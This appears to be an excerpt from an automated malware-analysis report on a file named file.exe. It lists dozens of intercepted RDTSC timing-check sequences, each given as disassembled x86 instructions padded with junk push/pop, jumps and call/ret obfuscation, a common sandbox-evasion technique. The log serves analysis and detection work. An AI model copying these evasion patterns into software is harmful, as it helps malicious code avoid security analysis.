Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F185 second address: 10F196 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F625CED05BDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F196 second address: 10F19A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28A602 second address: 28A61F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05C5h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28A61F second address: 28A646 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F625CDF2466h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jo 00007F625CDF247Eh 0x00000014 ja 00007F625CDF246Eh 0x0000001a push eax 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 277068 second address: 27706C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2899C2 second address: 2899C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2899C6 second address: 2899D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2899D1 second address: 2899D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2899D9 second address: 2899E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F625CED05B6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2899E6 second address: 289A07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF2477h 0x00000007 jnc 00007F625CDF2466h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 289A07 second address: 289A17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F625CED05BAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 289F59 second address: 289F5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 289F5E second address: 289F63 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28B98E second address: 28B9D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jl 00007F625CDF2466h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f pushad 0x00000010 jmp 00007F625CDF2475h 0x00000015 jmp 00007F625CDF2474h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d je 00007F625CDF2466h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28B9D0 second address: 28BA08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 js 00007F625CED05CCh 0x00000016 jmp 00007F625CED05C6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28BA4A second address: 28BA5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F625CDF2466h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28BA5E second address: 28BA62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28BA62 second address: 28BAE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F625CDF2468h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 mov esi, ebx 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push eax 0x00000029 call 00007F625CDF2468h 0x0000002e pop eax 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 add dword ptr [esp+04h], 00000015h 0x0000003b inc eax 0x0000003c push eax 0x0000003d ret 0x0000003e pop eax 0x0000003f ret 0x00000040 jmp 00007F625CDF2473h 0x00000045 push FDF28125h 0x0000004a push eax 0x0000004b push edx 0x0000004c push edi 0x0000004d jmp 00007F625CDF2477h 0x00000052 pop edi 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28BAE3 second address: 28BB4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F625CED05BAh 0x00000008 jmp 00007F625CED05BFh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 add dword ptr [esp], 020D7F5Bh 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007F625CED05B8h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 push 00000003h 0x00000033 mov di, 6970h 0x00000037 push 00000000h 0x00000039 mov cl, ECh 0x0000003b sub esi, 0121C6C3h 0x00000041 push 00000003h 0x00000043 clc 0x00000044 push F665D6DCh 0x00000049 pushad 0x0000004a jmp 00007F625CED05BBh 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28BB4E second address: 28BB92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF246Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xor dword ptr [esp], 3665D6DCh 0x00000011 jmp 00007F625CDF2477h 0x00000016 lea ebx, dword ptr [ebp+12450874h] 0x0000001c mov dh, 9Fh 0x0000001e xchg eax, ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 js 00007F625CDF2468h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28BC5E second address: 28BC97 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F625CED05B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push ebx 0x0000000d jo 00007F625CED05BCh 0x00000013 jnp 00007F625CED05B6h 0x00000019 pop ebx 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e jp 00007F625CED05C5h 0x00000024 mov eax, dword ptr [eax] 0x00000026 pushad 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28BC97 second address: 28BC9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28BC9D second address: 28BCB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F625CED05C1h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28BCB5 second address: 28BCDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF2474h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jc 00007F625CDF246Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28BCDC second address: 28BCE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28BCE0 second address: 28BD87 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F625CDF246Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b js 00007F625CDF246Ch 0x00000011 sub dword ptr [ebp+122D1C74h], edx 0x00000017 push 00000003h 0x00000019 jnp 00007F625CDF246Ch 0x0000001f mov ecx, dword ptr [ebp+122D2C15h] 0x00000025 mov dword ptr [ebp+122D1C91h], ebx 0x0000002b push 00000000h 0x0000002d push 00000003h 0x0000002f push 00000000h 0x00000031 push eax 0x00000032 call 00007F625CDF2468h 0x00000037 pop eax 0x00000038 mov dword ptr [esp+04h], eax 0x0000003c add dword ptr [esp+04h], 0000001Ch 0x00000044 inc eax 0x00000045 push eax 0x00000046 ret 0x00000047 pop eax 0x00000048 ret 0x00000049 call 00007F625CDF2469h 0x0000004e jp 00007F625CDF246Eh 0x00000054 push eax 0x00000055 ja 00007F625CDF246Ah 0x0000005b mov eax, dword ptr [esp+04h] 0x0000005f pushad 0x00000060 push edx 0x00000061 jmp 00007F625CDF246Ah 0x00000066 pop edx 0x00000067 jmp 00007F625CDF2470h 0x0000006c popad 0x0000006d mov eax, dword ptr [eax] 0x0000006f push eax 0x00000070 push edx 0x00000071 pushad 0x00000072 push edx 0x00000073 pop edx 0x00000074 pushad 0x00000075 popad 0x00000076 popad 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28BD87 second address: 28BDAB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F625CED05BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F625CED05BEh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28BDAB second address: 28BDB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28BE7C second address: 28BEA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dword ptr [ebp+122D2EBFh], ecx 0x0000000f push 00000000h 0x00000011 or esi, dword ptr [ebp+122D2EC4h] 0x00000017 call 00007F625CED05B9h 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28BEA1 second address: 28BEA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28BEA5 second address: 28BEEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e jmp 00007F625CED05BFh 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 pushad 0x00000018 jmp 00007F625CED05C0h 0x0000001d push ebx 0x0000001e pushad 0x0000001f popad 0x00000020 pop ebx 0x00000021 popad 0x00000022 mov eax, dword ptr [eax] 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F625CED05BAh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28BEEA second address: 28BF10 instructions: 0x00000000 rdtsc 0x00000002 js 00007F625CDF2474h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jbe 00007F625CDF2468h 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29E63E second address: 29E64B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AA4E5 second address: 2AA4E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AA4E9 second address: 2AA4FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AA4FD second address: 2AA51E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F625CDF246Fh 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c jmp 00007F625CDF246Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AA8B6 second address: 2AA8BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AAC7C second address: 2AAC8D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jp 00007F625CDF2466h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AB0F7 second address: 2AB12C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05BEh 0x00000007 jbe 00007F625CED05CEh 0x0000000d jmp 00007F625CED05C8h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AB12C second address: 2AB133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AB25B second address: 2AB25F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A3ED6 second address: 2A3EEF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF2475h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A3EEF second address: 2A3EFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F625CED05B6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 27A6F1 second address: 27A6F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 27A6F5 second address: 27A710 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05BEh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 27A710 second address: 27A728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F625CDF2474h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 27A728 second address: 27A732 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F625CED05B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ABC10 second address: 2ABC15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ABE73 second address: 2ABE7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ABE7D second address: 2ABE87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F625CDF2466h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ABE87 second address: 2ABE94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ABE94 second address: 2ABE9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AC327 second address: 2AC32D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AC32D second address: 2AC333 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AC333 second address: 2AC33F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B031E second address: 2B0324 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B05D2 second address: 2B05F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov eax, dword ptr [eax] 0x00000007 js 00007F625CED05BAh 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jc 00007F625CED05B6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B05F1 second address: 2B05F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B05F5 second address: 2B05FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B81C1 second address: 2B81C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 282D08 second address: 282D0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 282D0C second address: 282D12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 282D12 second address: 282D3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05BCh 0x00000007 jc 00007F625CED05D3h 0x0000000d jmp 00007F625CED05C7h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 282D3F second address: 282D66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007F625CDF246Fh 0x00000010 pop eax 0x00000011 jns 00007F625CDF246Ch 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B7762 second address: 2B7769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B7769 second address: 2B7780 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jc 00007F625CDF2466h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B7780 second address: 2B7784 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B791D second address: 2B794D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F625CDF2485h 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B7A89 second address: 2B7AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F625CED05BDh 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B7AA5 second address: 2B7AAB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B7AAB second address: 2B7AC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05BCh 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B7EA8 second address: 2B7EAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B7EAC second address: 2B7EBD instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F625CED05B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B7EBD second address: 2B7EC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B9525 second address: 2B952D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B97C4 second address: 2B97C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B9C92 second address: 2B9CC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], ebx 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F625CED05B8h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 nop 0x00000028 pushad 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B9CC1 second address: 2B9CC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B9CC7 second address: 2B9CDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F625CED05BAh 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B9CDD second address: 2B9CE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B9E33 second address: 2B9E37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BA1CA second address: 2BA1E5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov edi, dword ptr [ebp+122D2D7Ch] 0x00000011 xchg eax, ebx 0x00000012 jnl 00007F625CDF246Eh 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BC19C second address: 2BC1A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
